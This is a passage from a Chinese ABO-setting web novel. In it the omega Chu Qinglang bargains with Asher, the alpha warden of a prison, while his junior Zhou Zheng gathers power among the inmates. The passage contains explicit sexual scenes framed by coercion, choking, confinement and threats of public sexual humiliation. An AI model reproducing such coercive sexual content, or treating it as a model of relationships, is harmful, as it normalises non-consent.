墙壁上依然是湿漉漉的,走了几百米后, 来到紧闭的铁门前,还没抬手,那门就缓缓的向他敞开。 楚青琅若有所思的抬头。 墙壁的一角,有着闪烁的红点。 是监控器,刀疤在那里看着吗? 想着电梯里面的枪支, 楚青琅觉得这里一定也有着相同的装置。 没准他现在转身,就会体会一下乱枪打死的感觉。 楚青琅神色自若的收回视线,朝着里面走去, 猛的他脚一软, 踉跄了一下。 目之所及尽是暗红色的地毯, 柔软细密,沉重的锁链早已卸下, 只留下了墙体上空荡荡的凹痕。 怪不得一点都不受力。 看久了, 那红仿佛在视网膜上留下了痕迹。 眨眼间,面前有着蚊蝇般的阴影。 楚青琅稳住身子,走到束缚装置前,却发现那被弄断的手环脚环已经恢复了原状,而阿舍尔并不在这里。 人呢? 楚青琅看了一会儿, 他不觉得阿舍尔会放他鸽子,毕竟周围属于alpha的信息素做不了假。 难道害羞了? 脑海中下意识想了一下阿舍尔害羞的藏起来的动作,楚青琅打了个寒噤。 被自己恶心的。 那个人就算是做的时候青涩一点,也不会做出那种行为。 他还记得后面被草/开了以后,还是阿舍尔死活按着他来的。 楚青琅默默的挪动脚步。 敲着墙壁按出密码,打开侧屋的房门,和印象中的装饰相同——金红色的天鹅绒帷幕,水晶吊灯,装饰繁复。 楚青琅准备走进的姿势顿了一下。 后颈忽的传来一阵温凉的风,仿佛有什么人无声无息的站在了他的身后。 后背发寒,鸡皮疙瘩瞬间起来,他回身反手就要扇人。 手腕却猛地被人拽住,额头传来闷痛,细腻的布料滑过面庞。 他被按着后脑撞进了冰冷坚硬的怀抱。 低哑丝滑的声音在头顶响起,“这么着急?” 不是鬼。 楚青琅松了一口气,他伸手胡乱拽住alpha身上的布料,在拍打声中闷闷道:“阿舍尔,呼吸不过来了。” 握着他手的力道重了一瞬,一声冷呵后,松开了桎梏。 楚青琅连忙将他推开,侧头深呼吸了两下。 虽然时间不长,但是阿舍尔身上的信息素却太过于浓郁了,让他简直如落水一般无法呼吸。 等他缓过神后,阿舍尔已经走了进去,双腿交叠坐在了沙发上。 玻璃桌上赫然有着一瓶已经打开的酒,酒液金黄,在灯光的照耀下闪射璀璨光彩。 察觉到他的视线,阿舍尔猩红的眼眸望过来,暴风雪般的冷冽,瞳仁暗沉如血河。 这次alpha穿的整齐,衬衣马甲西裤,甚至领带上还有着蓝宝石领针。 就仿佛他所在的不是监狱,而是什么贵族城堡一般。 看着他依然站在原地,阿舍尔像是烦躁似的抬手松了松领带。 “过来。” 楚青琅歪了下头,顺从的走了过去。 等来到alpha的身旁时,被直接搂住腰肢抱在了腿上。 青年身体柔软,就连骨骼都是纤细的。 虽然经过锻炼,但是只是在软中增加了些许的韧劲,却更加引人爱不释手。 玫瑰信息素弥散,阿舍尔下意识的俯身,在青年omega的脖颈处细细嗅着。 呼吸声几乎感觉不到,只有阴冷如绳子一样缠绕上来,仿佛下一刻就会将楚青琅吊死。 他忍不住挣扎了下。 掐着腰的力道极大,几乎将人全部搂进了怀中。 骨髓内脏仿佛被火焰灼烧。 丝丝缕缕的痒意和渴望如刀尖在皮肉内戳刺。 额头缓缓冒出了汗珠。 他呼吸变得急促起来。 随着距离的接近,让阿舍尔从心中感到了愉悦。 但是愉悦过后,便是莫大的空虚,潮水一般将他全然淹没。 他指尖用力,几乎克制不住自己粗暴的想法。 想要将他的衣服直接撕开,想要标记这个omega,想要弄/烂他的生殖腔,想要让他可怜兮兮的抽搐,只能依赖他 不能在对着别人笑,不能和别人亲密接触 淫/秽/下/流的想法在脑海中一一浮现。 他的面上却依然是一副冷峻克制的模样。 眉骨很高,阴影将那红染成混沌的黑。 楚青琅有些不适的后仰了下身子,他用手抵着alpha的胸膛,问出自己最关心的问题。 “阿舍尔,你到底什么身份?为什么那些狱警和刀疤要听你的话?” 虽然感觉到了不对。 但是他相信alpha不会伤害他的。 现在只要搞清楚alpha的身份,然后让他帮助他就可以了。 不管那个世界的他,都不会拒绝他。 楚青琅抚着胸膛上移,拍了拍一副沉迷的alpha的脸。 “别发呆,快回答我。” 温热的触感从面颊传来,阿舍尔缓缓抬头。 青年omega漂亮的桃花眼微弯,视线柔软的瞧着他,高挺的鼻梁下是一双红润的唇。 唇张合,里面是洁白的齿,还有 他是为了自己的情人来寻求他的帮助的。 阿舍尔的目光复又冷淡下来。 “想知道?”他一字一句道:“你总要付出些什么。” 楚青琅眨了下眼,还以为他是在和他玩什么交易play。 他好笑的低头,在阿舍尔的面颊旁吻了一下。 “好了吧呜” 楚青琅正准备抬头,后颈却突然压下一股巨力。 alpha顺势侧脸,带着蓬发怒意咬住了他的唇,撬开洁白的齿,粗暴吮/吸着舌尖,汲取着甜蜜的玫瑰花蜜。 平稳的呼吸被打乱了节奏,视线朦胧起来,浓烈的血腥气息将楚青琅的周围包裹。 斑驳腺体被冰冷的掌心按压,隐痛夹杂着酥/麻。 alpha苍白的面颊染上了薄红,一双猩红的眼眸缩小,死死的盯着面前的青年,压制着他的挣扎。 楚青琅踢蹬着,在最后的氧气消失的时候,alpha终于放开了他。 他连忙侧身,白皙指尖按着丝绒沙发边缘,紧扣支撑着自己的偏斜的身体。 氧气在一瞬间充斥肺部。 他颤抖着咳嗽,面颊眼下满是绯红,瞳孔涣散。 阿舌尔看了一会儿,冷峻的面容肌肉抽动,显出一个冰凉的笑来。 他慢条斯理的倾身,将他下颌的涎/水舔舐干净。 暗红的舌触手一般淌过,留下湿淋淋的水迹。 晶莹剔透的酒瓶被拿起,里面金黄的酒液被倒出。 骨节分明的手握住酒杯,透过冰凉表皮,即将喷发的灼热使得杯壁凝出水雾。 在黏糊的水膜搅动中。 楚青琅听见阿舍尔的声音。 “我叫阿舍尔·克莱斯特,原本是克莱斯特家族的继承人,但是因为易感期的问题过来等死。” 水晶吊灯迷幻,苍白英俊的alpha举着酒杯,一口一口的喝着。 薄薄眼皮下那暗红眼眸却始终盯着腿上的omega。 冰块叮啷作响,落进口中,转瞬间被高温融化。 “莫菲斯特监狱是我建造的。” 迟钝的思绪重新转动。 楚青琅回神。 丝滑衬衣遮不住他身上痕迹。 眼睫眨动间,潋滟含情。 怪不得刀疤他们对他这么敬重,原来他是他们的老板啊。 这下好了,只要阿舍尔同意,那么周峥得到墨菲斯特监狱指日可待。 他伸手,握着alpha的手腕玩耍一般将袖扣扯下。 点着浮雕般凸起的青筋向上摸去。 在alpha准备倾身时却又猛地收回手。 白皙指尖敲了敲杯壁,冰凉将指腹晕出粉意。 他凑上去,玻璃映出的面容被晃动的酒液扭曲,一双眼眸融进金黄,柔和嗓音撒娇般的响起。 “那监狱里面的势力怎么变动,你都不会管吧?” alpha喉结滚动,他极突兀的嗤了一声。 玻璃杯贴近楚青琅的面颊,在他因为冰凉杯壁而露出疑惑的目光时,抵住了那红润的唇。 “喝。” 辛辣的酒液被灌进来,楚青琅猝不及防咽下了一口,火辣辣的感觉顺着咽喉蔓延到胃部。 他真的不喜欢喝酒。 楚青琅皱起了眉,猛地将阿舍尔的手拍到了一旁。 玻璃杯无声砸进厚重的地毯上。 楚青琅啧了一声,揪住阿舍尔的发,拿起酒瓶直接将瓶口塞进了alpha的口中。 牙齿被磕到发出闷响,酒液在注视下快速下降。 锋利喉结滚动着,金黄色的酒液吞咽不及,从两边流淌到下颌,浸湿衣领。 玫瑰信息素因为情绪上的起伏,迅速席卷整间房屋。 青年omega扔下酒瓶,压下他的头。 温热的唇点在他的发痛的腺体上,牙齿威胁轻噬。 语气冰凉又不容置疑。 “我说,你不会管的,是吧?” 头皮唇/舌刺痛,腺体感受到alpha的信息素却未得到抚/慰而涨痛,青年的膝盖正好顶在腿间。 没有一处不痛,但是那感受到那温热的唇时,紧绷的肌肉忽地柔软起来。 阿舍尔削薄的唇极怪异的弯了下。 “是。” 楚青琅满意的松开手,并未真正咬下。 虽然要玩游戏,但是也要在他的接受范围之内。 阿舍尔刚刚有点过分,看来要好好的教训 脚腕被抓住,用力,身体瞬间失去平衡,倒在了沙发上。 双腿合拢搭在alpha的手臂上,楚青琅心一跳,下意识想要摆脱这个危险的姿势。 alpha覆在身上,制住他。 森冷的目光宛如蛇盯着猎物一般。 “我帮他,你属于我。” 楚青琅愣了一下,他下意识反驳道:“是你属于我!” 明明是他标记了他。 阿舍尔没有回话,无所谓谁属于谁,在看见他的第一天,这个omega就注定了是他的。 所以他才会纵容至此,甚至让他标记了他。 扯开碍事的扣子,动作粗暴,束起的黑色卷发随之滑落几缕。 楚青琅好奇的托了托,却被一把按住了手腕,束缚在了头顶。 “好,交易成立。” 什么交易? 楚青琅的疑惑还未形成,衣衫就被/撕开,冰凉空气从各处袭来。 alpha的信息素又一次的爆发出来。 他的头脑顿时卡顿起来。 * 牢房中。 因为杀完了自己的狱友,所以周峥重新换了一间牢房。 里面都是和他一样的新人。 按照楚青琅的话,他不断的和他们打好关系,引导着,直到一个人说出了他想要的话。 “我们成立一个组织吧,免得再次被他们欺负。” 周峥没有说话,但是周围的人却瞬间应和起来。 不时有人将视线放在他的身上。 虽然他没有反应,但是大家又不是蠢货,敢直接和那些人对上的人身后肯定有着势力。 而且看周峥这种清俊的模样,一定没有那些人那么的残暴。 综合来说,还是选择周峥最好。 外面星月高悬,月光稀薄。 周峥被所有人用目光看着,露出了一副勉为其难的表情。 在又一次的催促请求中,他才答应下来。 “好,既然大家都想要让我当这个老大,那我会扛起这个担子,一定会保护大家的安全,只是大家也要遵守我们的规矩……” 周峥给他们立起几条规则,并点出了两个人在他不在的时候管理他们,给了他们先斩后奏的权力。 这些东西他虽然不熟悉,但是也在书上学过。 就算出现岔子也无所谓,反正他的目标并不是在这里作威作福。 他想要将学长救出去。 等一切都安排好了,就是要找机会吞并剩下的三个势力了。 只有爬到最高处,彻底掌控墨菲斯特监狱。 他才有可能杀死那个欺辱学长的人,然后逃出这所监狱。 周峥又忍不住看了一眼窗外。 学长现在在干什么? “唰——” 门上的探视口突然打开,一张带着伤疤的面容出现在那里,扫视了一圈后,看向了周峥。 “周峥,出来。” 为什么在这里还有着窗户? 被人工打造的完美的水晶折射出绚丽光彩,映在眼中,却只有一片的白。 额头顶着冰凉的窗户,瞳孔微微放大,碎发被汗水浸湿,粘连在脸侧。 晃动中,冰冷到极致,却突然传来温热的感觉。 楚青琅不禁抖了一下。 粘腻的水声在耳边响起。 他艰难的转了个身,又被压住了动作。 阿舍尔猩红的眼眸带着易感期特有的狂躁。 他几乎是粗暴的让自己准备好,拉着他的手坐了上去。 楚青琅仰头,思绪一片空白。 omega的身体在碰见易感期的alpha后,没有丝毫的反抗能力。 烛火跳动着,扭曲面前的人的面容。 “青琅。” 低哑的嗓音叫着他的姓名,一遍又一遍,腔/体绞缠着。 “看着我。” 楚青琅想要应声,但是开口却只是甜/腻喘/息。 细碎的绒毛骚动着皮肤,让他想要躲避。 但是楚青琅却忘了,所有的地方都已经按照他的吩咐铺上了地毯。 顺着来时的道路,楚青琅重新在alpha的挟持下用身体走了一遍。 在alpha信息素的引诱下,皮肤神经太过于敏感。 体/内仿佛有石子摩擦,酸软燥/热,是折磨的爱/抚。 “多少米?” 冰冷的声音在耳边响起。 那双冷峻苍白的面容被金黄色的烛火映着,凭添几分诡谲。 洁白的牙齿咬住他的的手指,尖牙露出,几乎要剐蹭出一条条的血肉来。 要将他吞吃入腹。 悚然感瞬间溢满全身。 楚青琅猛地将人推开,踉跄的朝着出口走去。 阿舍尔看着他,缓缓站起身,替他回答。 “280,300,320。” 大门近在咫尺,楚青琅颤抖着指尖擦过,忽地跪倒在地。 阴影压在他的身上,将他全然笼罩。 楚青琅被拽起,脊背靠在冰冷的门上,皮肤被刺激到发麻。 膝盖顶进他的双膝间,他攥着阿舍尔的手腕,却无法阻止他的动作。 面前的人如苍白的雪山一样,按着他的后脑,捂住了他的嘴。 “小声点,外面可是有人的。” 呼吸不过来了。 楚青琅头晕目眩,张嘴咬了过去。 鲜血夹杂着浓烈信息素顺着咽喉蔓延全身,烟花在脑海中绽放。 楚青琅神情空白了一瞬,却再次被握住。 阿舍尔动作间,扬起他的脸。 苍白英俊的面容上,猩红眼眸缩成针尖大小,神情满是兴奋和侵入欲/望。 仿佛先前青涩的他只是幻觉一般,只是一夜,就将他的omega的弱点全部掌控。 青年omega眼睫被水凝成一簇一簇的,唇边满是肮脏血液。 “再来一次好不好?” “不……哈不要,别呃放开。” alpha靠近,两人交换着温热潮湿的气息。 * 稀薄的月光无法照亮前路。 周峥安静的跟在刀疤的身后,看着前方手电筒打出的光芒,心中的疑惑越来越大。 “我们去哪?” 最终,他还是忍不住开了口。 语气冷硬。 虽然学长没有死,但是他依然将刀疤放在了待杀的名单上。 刀疤却始终缄默,只是脚步不停的朝着前方走。 周峥皱了下眉,重新安静下来。 时间一点一点的过去,等到刀疤的脚步停下,两人已经来到了一处电梯前。 刀疤掏出烟点燃,飘起的烟雾让周峥下意识后退了一步。 他甚至有些分不清是因为厌恶烟味,还是因为空气中弥散的属于aloha的信息素。 电梯无声打开,周峥跟着上去。 看着按键,他突然开口:“学长来的就是这里是吗?” 刀疤看着电梯壁上他冷冷望来的视线,没有说话。 周峥讥讽道:“怎么?那位是换口味了?准备尝尝alpha了?” 他试探着,刀疤却并不接茬。 叮的一声,电梯到达。 铺天盖地的属于alpha的信息素,几乎让皮肤感到刺痛,反胃感瞬间涌上咽喉。 周峥猛地抬手捂住了口鼻,厌恶和杀意在眼眸中聚集。 刀疤却只是停顿了一下脚步,随即脚步不停的朝着前方走去。 周围无光,视野暗淡。 周峥暗暗做好了动手的准备。 他并不清楚刀疤叫他过来干什么? 如果真的是他想得那样,哪怕是豁出命来,也要带走一个人。 但是就算用手阻隔了不少的信息素,周峥呼吸却依然急促起来。 身体内部发热。 他指尖抽动着,按着腺体,硬生生的用指甲抠出了道道血痕。 这个alpha的等级格外的高。 好烦,好烦,想杀人。 直到来到了一道金属门前。 那属于alpha的锋锐狂躁的信息素突然柔和起来。 在下面浮动着一股甘甜的,浓郁的蜜一般的信息素。 熟悉的声音穿过门缝飘荡在耳边。 周峥脑海一阵发懵。 耳边忽地传来尖锐的鸣叫。 学长? 70-80 第71章 第 71 章 干/你。 学长的信息素。 学长的嗓音。 周峥脸色刷的惨白, 透过漆黑的门缝他几乎能够想象出来学长濒临崩溃的模样,不然他的尾音,怎么会抖成那样? 浓烈的信息素在空中炫耀似的浮动,将玫瑰信息素全然包裹, 几乎是吝啬的只透露出一丝丝味道。 指尖连带着灵魂都被冰封, 四肢冰凉, 他发出呓语。 “为什么这么侮辱他?” 手掌放在冰冷铁门上, 一根根手指蜷起,指甲抠烂了掌心, 鲜血一滴滴落下,他却没有丝毫痛感。 明明心中如此愤恨,身体却因为alpha的信息素条件反射的做好了准备。 这就是omega。 耳边的嗡鸣声加剧,上腹部一阵翻江倒海,他弯下腰, 干呕了两声。 刀疤站在一旁,没有说话,只是掏出了火机, 垂眸点起了烟。 只是这一个动作, 仿佛一柄刀直插近周峥的心口, 他猝然上前揪住刀疤的领子,挥手给了他一拳。 鲜血在空中被甩飞, 落在alpha的面颊上, 换来了厌烦的表情。 刀疤偏头,生生受了这一拳。 他用拇指楷过那血渍,不耐道:“安分呆着!” 周峥却疯了一样攻击着他,完全不听他的话。 而他确实也没有听见,耳边只有尖锐的鸣响, 神经仿佛被一把钝刀割着,疼痛夹杂愤怒充斥心田。 黑眸充血,他死死的盯着刀疤。 “我会杀了你,我一定会杀了你们。” 刀疤松开他被扭断的手,宛如破布一般将人扔到了门口,重新点燃一根烟,抽了起来。 因为铁门的阻止,那呻吟喘息微不可闻,落在耳边却使得他几乎呕出血来。 周峥徒劳的掰着铁门,眼泪一颗颗落下。 “学长,别害怕,我会救你的,对不起,对不起,别害怕” 站在后面的刀疤呵了一声,唇边火光闪烁,将那张面容照的如狰狞恶鬼。 黑暗中,垂在裤缝的手攥紧,轻微颤抖着。 * 只一门之隔,气氛便完全不同。 楚青琅双手被缚扣在头顶,唇微张,眼泪一颗颗落下。 爽的。 灼热双唇吮过那泪,因为含过冰块而变得冰冷的舌落在后颈上的伤痕上,激起一片细密疙瘩。 阿舍尔尖牙克制不住的伸出,几乎要刺穿这处软肉。 脑海中不断叫嚣着标记。 只有标记了,这个omega才能彻底的属于他,没有任何一个alpha能够容忍自己的omega被别人标记,到时候,就算是他的那个情人,也会将他抛弃。 而他,会珍惜的将人带回来,安抚他,保护他。 但是腺体的位置只有一片斑驳的伤痕,薄薄的皮肤下,骨骼的形状清晰可见。 “为什么割了自己的腺体?” 低哑的,带着杀意的声音落在耳边。 楚青琅指尖抖了一下,他空茫的视线下移,被水洗过的眼眸格外清亮。 他含糊道: “不想,呃,被标记。” 阿舍尔动作顿了一瞬,冷酷的神情缓和。 他手上移,挤进指缝,和楚青琅十指交叉。 腰晃动着,他弓起脊背,偏头露出自己的后颈。 “那标记我,好不好?” 苍白后颈上腺体红肿,这是因为没有信息素的抚慰造成的结果。 脊骨于皮肉底下突出,楚青琅被蛊惑般上前,贴到了火热的腺体上。 omega没有能够标记的尖牙,所以他只能用力的,咬下去。 alpha的皮肉过于坚韧,他咬着含着,却只留下一片湿漉漉的涎水。 而喊他标记自己的人却还恶意的动作着,完全不顾后颈的疼痛。 楚青琅摆开挤进指缝的手,被绑缚的双臂敞开,勾住了alpha的脖颈,将他拉到自己的怀中。 下巴放在omega肩窝上,阿舍尔双眼微眯,神情痴迷。 胸膛相贴,肌肤吸在一起,快速跳动的心脏通过骨骼传导在耳边。 砰砰砰—— 楚青琅用尽全身力气咬了下去。 坚硬平整的齿钝刀一般割开软肉,玫瑰信息素,甜腻却又冷酷的注入腺体。 延长的痛苦在瞬间爆发。 阿舍尔仰头,瞳孔仿佛蛾翅颤动。 鼻尖析出汗珠,暗红削薄的唇勾起,他紧紧的拥着青年omega。 铁门缓缓打开一条缝隙。 陌生的,令人厌恶的omega的信息素传来。 阿舍尔眼珠寸寸下移,冷眼瞧着被控制着的面容扭曲的周峥。 他当然看不见他们,但是… 指尖插/进楚青琅被汗湿的发,阿舍尔纵容的,着迷的感受着血液的流失。 仿佛自己的一部分,落进了青年的胃袋后,就和其彻底融为一体。 空虚的感觉又从心中腾起。 他顺势仰躺,握紧青年的腰。 他诱哄道: “青琅,声音再大点。” 楚青琅莫名其妙的喝了一肚子血,脑袋仿佛也被涨到了,只能模糊的瞧见阿舍尔的唇动,却不能理解话中的意思。 “唔啊——” 咬住的唇被指尖拨开,喉咙被压抑的声音随着动作猝不及防的冒出。 阿舍尔苍白欣悦的面容被烛火烧灼,乍一看去,仿佛有着片片阴影状的瘢痕。 猩红眼眸死死盯着落泪的青年,瞳孔舒张间,先前的挣扎全然抛却。 或者说,在见到青年的第一眼,他多年累积的厌恶和自持,早就分崩离析。 …… 楚青琅睁开眼,颇有些不知今夕何夕。 头顶的灯光温暖明亮,装饰典雅大气,就是瞧起来不像他的牢房,反而仍是在地下。 他起身,然后又默默的躺了回去。 宛如一条被榨干水份的咸鱼。 这次身体比上次更加的酸痛,上一次的alpha仿佛还有着理智,这一次完全放开了自我一般,疯狂的索取着。 本来omega的身体素质就不如alpha,到最后楚青琅几乎晕厥了过去,然后又被做醒。 楚青琅上下摸了一下,干净整洁,没有丝毫黏腻感。 不枉他在闭眼前拽着阿舍尔的头发强烈抗议,要求清洗。 楚青琅看着指尖上的牙印,缓缓将被子朝上拽了拽。 嗯,就是没有给他穿上衣服。 积攒了些许的力气后,他打开系统面板。 淡蓝色的面板依然卡顿,上面的攻击警告还在刷屏,他给主系统发消息,试图得到回复。 但是直到他重新闭上眼睡了一觉后,依然没有回复。 主神空间到底发生了什么? 楚青琅虽然着急,但是遇到这种情况也只能等待。 还是先完成任务吧。 他按了按太阳穴,坐起身去穿衣服。 现在周峥手下已经有自己的势力了,算是勉强立足。 他现在只需要做个园艺师,观察着周峥的生长情况,偶尔为他剪下一些长错的枝桠。 等到周峥将剩下三股势力吞噬,到时候,估计就算是阿舍尔也没有办法动他。 那样的话,周峥就算是彻底的在墨菲斯特立足了。 他的任务也就能够完成了。 随手挑出两件衣服穿上,楚青琅又拿出了一件高领风衣遮住自己身上的痕迹。 忽的,他想起来阿舍尔又没留下。 怪事。 之前的世界他恨不得时时刻刻粘着他,现在怎么突然变得冷淡了。 想着冷淡这个词,楚青琅不禁笑了一下。 看来习惯真的是可以养成的。 阿舍尔这次依然没有记忆,而且在这个世界生活了那么久,他作为一个alpha却被他一个omega标记了,易感期的时候脑子可能不清醒,一旦清醒过来,估计会受到不小的冲击。 而且看样子阿舍尔这次还异常的冷峻自持,从行为举动来看,像是比较克制守旧的。 除了床上的时候。 楚青琅在心中分析着阿舍尔的心理。 之前都是集中注意想着任务,难得分析一下恋人的心理,楚青琅竟然品出了些许的趣味。 站在镜子前,从下颌到锁骨,密集的紫红斑点几乎连成一片,原本莹润的唇也带着淤色,仿佛擦了口红。 楚青琅点了点,因为刺痛倒吸了一口冷气,接着又因为舌尖的胀痛而半途停下,那口气不上不下的,堵在口中,他捂住嘴,恨恨的朝着门口走去。 什么克制守旧!跟条野狗一样! “咔咔——” 白皙修长的手放在门把手上,不管怎么施加力气,却始终无法打开房门。 楚青琅意外的松开了手,他茫然的敲门,“阿舍尔?” 却只是一片寂静,无人回应。 楚青琅皱眉,原本因为任务步入正常轨道而和缓的心顿时提了起来。 他咚咚的敲着门,直到骨节都反出疼痛才停下。 很明显,他又被关起来了。 但是为什么? 这次他什么都没干啊? 楚青琅抬手捋了一下发,冷静,就算是被关也只会关他一天,不管怎样,阿舍尔易感期肯定会找他的…… 心中涌出熟悉的无奈感,楚青琅仰头,对着天花板说:“阿舍尔,或者刀疤,我知道这里有监控,过来给我一个理由。” 他才不信阿舍尔没有在这些地方按上监控,那家伙控制欲强的离谱。 但是不管怎样,这些小脾气,都不能现在发。 楚青琅神情平静下来,抬手拿起一旁的玫瑰,揪着花瓣转身朝着窗边走去。 沉重的帷幕被挂起,窗户外是绵延的绿色,却格外的呆板。 就像是投影一样。 * 监狱长办公室内。 穿着制服的刀疤嘴角带着淤青,恭敬低头报告着。 “监狱长,周峥去找了亚当和埃文,应该是想要联合起来一起吞并花面留下来的势力,而他们联合之后,剩下最弱小的就是冯家。” “冯家若是被吞噬,墨菲斯特的势力就会彻底洗牌。” 坐在桌子前的alpha并未回话,只是注视着面前监控器投影里面安静沉睡的omega。 “咚咚咚——” 刀疤瞧了一眼alpha,开口:“进。” 一个穿着严实的狱警垂头走进。 “冯家的安东尼奥在外面,想要见您寻求庇护。” “不见。” 冰冷声音落下,刀疤眼皮一跳。 监狱长的意思很明显,就是让周峥随便摄取权力。 而那个周峥回去时眼眸深处弥散的恨意,几乎让他感到心惊。 监狱长这是在,养虎为患。 刀疤抬头:“监狱长,如果真的让…” 阿舍尔敲了敲桌子,红眸凝过去。 “刀疤,西瑞尔要是控制不了自己就自己重新建造一个墨菲斯特出来。”他扯出讽刺的笑,“现在,墨菲斯特是毁灭还是存活,轮不到他来插手。” 克莱斯特家族的人虽然强大,但是都有着精神遗传疾病,会逐步走向疯狂。 阿舍尔原本是克莱斯特家族的继承人,但是他易感期无法接近omega,也就无法疏解,会逐步被积郁起来的情绪逼疯。 因此在还有着理智的情况下,他建造了墨菲斯特监狱,也是对自己的囚困。 而墨菲斯特,也帮助了克莱斯特收拾了不少的政敌。 西瑞尔,他的好兄弟。 可是生怕他彻底发疯,将这个宝地给毁掉。 投影里面的人醒来,就算是发呆,一双眼也是水淋淋的,勾过来,仿佛在和他隔空调/情。 阿舍尔心中的烦躁顿时被抚平,食指拇指微动,景象放大。 清晰的可以看见青年身上被他亲自烙下的痕迹,以及后脑勺微翘的发。 交易成立,所以青年现在是属于他的了,那个人最好乖乖的全然退出青年的生活。 青年要他的好学弟步步高升,掌握墨菲斯特,那就给他。 反正一个omega,也掀不出什么大浪来。 大不了,杀了就是。 阿舍尔看着青年穿上衣服,来到房门前,却发现房门无法打开,露出恼怒的神色。 他站起身,整理了一下衣服。 “让狱警看着,别让周峥被亚当坑了。” 不然他的青琅一定会发脾气的。 阿舍尔关闭投影,在刀疤的回应中,抬步向着门外走去。 他现在要去安抚自己的omega了。 他的omega。 阿舍尔下意识的抬手抚摩着后颈,肌肉上还残留着酸痛感,几乎让他发出轻哼。 * 脚步声远去。 刀疤伫立在空荡荡的房间中,指尖摸上手腕,那温热的触感一直残留在上面。 良久,他走到了桌子前,抬手点开了监控投影。 穿着红衬衣的青年顿时出现在他的眼前,饱和度过高的颜色更衬的他肤如白玉。 ——“阿舍尔,或者刀疤,我知道这里有监控,过来给我一个理由。” 青年仰头看他,话音清晰的响在耳边。 好聪明。 刀疤伸手,似要抚摸他的眼眸,却顿在了半空。 看着青年气恼的绷起的脸,他忽然咧开嘴笑了下。 如果阿舍尔还在这里,一定会因为青年口中将他和他并列而生气。 到时候,会让他断手还是弄烂他另一边脸呢? 阿舍尔虽然因为易感期而暴躁了不少,但是除了失控时的杀戮,平常还是很冷静的。 贵族的修养让阿舍尔从不在自己的手下展露情绪。 第一次被气疯,就是察觉到他碰到了青年,竟然直接让他在砍断了自己的手,还把自己和青年的交/欢让人听。 是因为愤怒还是因为恐惧? 让阿舍尔做出如此下贱的举动。 示威,呵。 刀疤将投影关闭,恢复平常凶狠漠然的模样,走了出去。 * 手下一空,玫瑰花瓣被彻底揪完。 楚青琅将花梗丢下,地毯上已经有着一堆的花枝,花瓶摆放在一旁,被虚假的阳光照射着,却依然显出粼粼光彩。 阿舍尔不会真的要把他关一天吧? 他抬手想要重新拿一支,娇艳的红就突兀的出现在了他的眼前, 顺着青绿枝干朝后看去,骨节分明的手劲瘦,虎口上还有着一个深深的压印。 阿舍尔穿着风衣制服出现在他的身旁,漆黑风衣上银色褡裢延申,垂在胸前,苍白英俊的面容没有丝毫愧疚神色,格外的理直气壮。 透着alpha特有的独裁淡漠气场。 真是让人不爽。 楚青琅眯了下眼,接过玫瑰花,顺势倚靠在窗台上。 他伸手,娇嫩的玫瑰花瓣点了点阿舍尔的胸膛。 链子轻颤。 青年不笑时,面容格外冷淡,就连那双含情眼眸都结了冰霜,让人不敢接近。 “阿舍尔,我总会给你一个解释的机会的。” alpha握着他的手腕,将玫瑰花举起,弯腰轻吻了一下,眼眸却从始至终的注视着他。 猩红的眸,艳红的花瓣,苍白的面容,漆黑的眼睫轻颤。 冷硬的面部线条忽地柔软,他咬字清晰,神情是明显的困惑。 “为什么生气?想要得到一些东西,总要付出什么。” 楚青琅挑眉。 他现在想起了那句所谓交易的话。 心中隐约有了猜想。 楚青琅说:“所以你认为我是用自己来换取你给周峥的——” “砰!” 话未说完,手腕处的手顺势摸着他的臂膀将他压在了窗户,发尾稍过面颊,带来瘙痒刺痛。 但是alpha的手还是很诚实的挡在他的后背,仿佛生怕弄痛了他一样。 连伸爪子都记得收回肉垫。 楚青琅有点想笑。 抬手勾了下alpha微卷的发尾。 被拉直的发从指上弹开,苍白脖颈上青筋浮动又隐没。 阿舍尔盯着他,森冷尖牙漏出,铁锈般的信息素在空中浮动,莫大的压迫感使得灯光忽闪。 闪烁光芒映着那张脸,几如失控。 “别在我面前提他!你凭什么觉得,我会看着你们相亲相爱夺取墨菲斯特却无动于衷!” 所以就是吃醋了,想要他留下来。 楚青琅用手抚摸着阿舍尔的颈项,感受着脉搏快速的跳动。 有些明白了他的想法。 直说嘛,他又不会拒绝。 第72章 第 72 章 唇舌绞缠。 但是惩罚还是必须要有的。 楚青琅将手臂放在了alpha的肩膀上, 下垂的玫瑰搭在漆黑的风衣后。 明明如此轻微的力道,却仿佛重若千钧。 alpha缓缓弯曲了挺直的脊背,头抵靠在omega的肩膀处,呼吸急促起来。 楚青琅偏头, 呼吸着那锋利冷酷的信息素, 他语气轻柔。 “Omega被标记后会在一两天内产生筑巢的想法, 离不开alpha。你也会这样?” “想要囚禁我?就算我不爱你, 你也会张开腿求/欢?” “这么想要为什么不去找一个alpha来?” “闭嘴!” 别说了!! 阿舍尔抬手将青年的衣袖抓出褶皱来。 理智回归,他犯贱的举动在脑海中不断的回放, 血意上涌,咽喉不断的滚动。 阿舍尔抬头看着青年依然无辜的面容,心中竟然滋生恨意来。 这莫名的很驱使着他掐住了青年的脖颈,看着他窒息泛红的表情。 阿舍尔忽地弯唇笑了起来。 瞳孔却依然暗沉,鲜明的割裂感将他面容扭曲。 脊背后的玫瑰滑落, 落在地上花瓣四溅,然后被一脚碾碎。 “不要想着出去,不然我就在你那个情人面前弄你。” 阿舍尔俯身, 神情怪异。 “还是你想在墨菲斯特所有人面前?” 楚青琅又一次被按住了手, 眨眼。 好像有点玩脱了。 …… “啪!” 挣开手, 他反手给了alpha一巴掌。 一双桃花眼睨着阿舍尔,分明没有丝毫惧意。 “放开我。” 阿舍尔根本没有在意。 单手束缚住他的手压低了身子, 撬开他的唇, 重重吮了下舌尖。 酸麻感直冲天灵盖,楚青琅不由得打了激灵。 别来了,这两天吃的太饱了,他有些恐肉了都。 还是讲清楚算了,看来真的不能用这种办法招惹alpha。 楚青琅主动仰头, 将其推回了他自己的口中。 随后努力侧头。 “别我在开玩笑,只是因为你把我锁这里了比较生气。” “骗子。” 楚青琅手指弯曲,抠住alpha的手背。 “没,没有,只是你现在失去了那些记忆……” 阿舍尔顺势啄着脸颊耳垂。 呼吸声落进耳道,湿热发麻。 周围alpha的信息素浓郁起来。 因为没有真正的安抚到alpha,所以阿舍尔的状态一向是比较危险的,白天全靠自己的理智来麻痹欲望。 就像是一个随时可能爆炸的气球。 偏偏青年omega不知死活的拿针戳刺,想要看看到底会不会爆炸。 所以后果,也要自己承担。 拉链声后,冰凉的空气再次袭来。 一旁摆放的玫瑰花枝尖端被削成了适合养殖的斜面,杆部被细腻的褪去了所有尖刺。 楚青琅双眼瞪大,“别!阿舍尔你敢弄进去我就弄死你!” 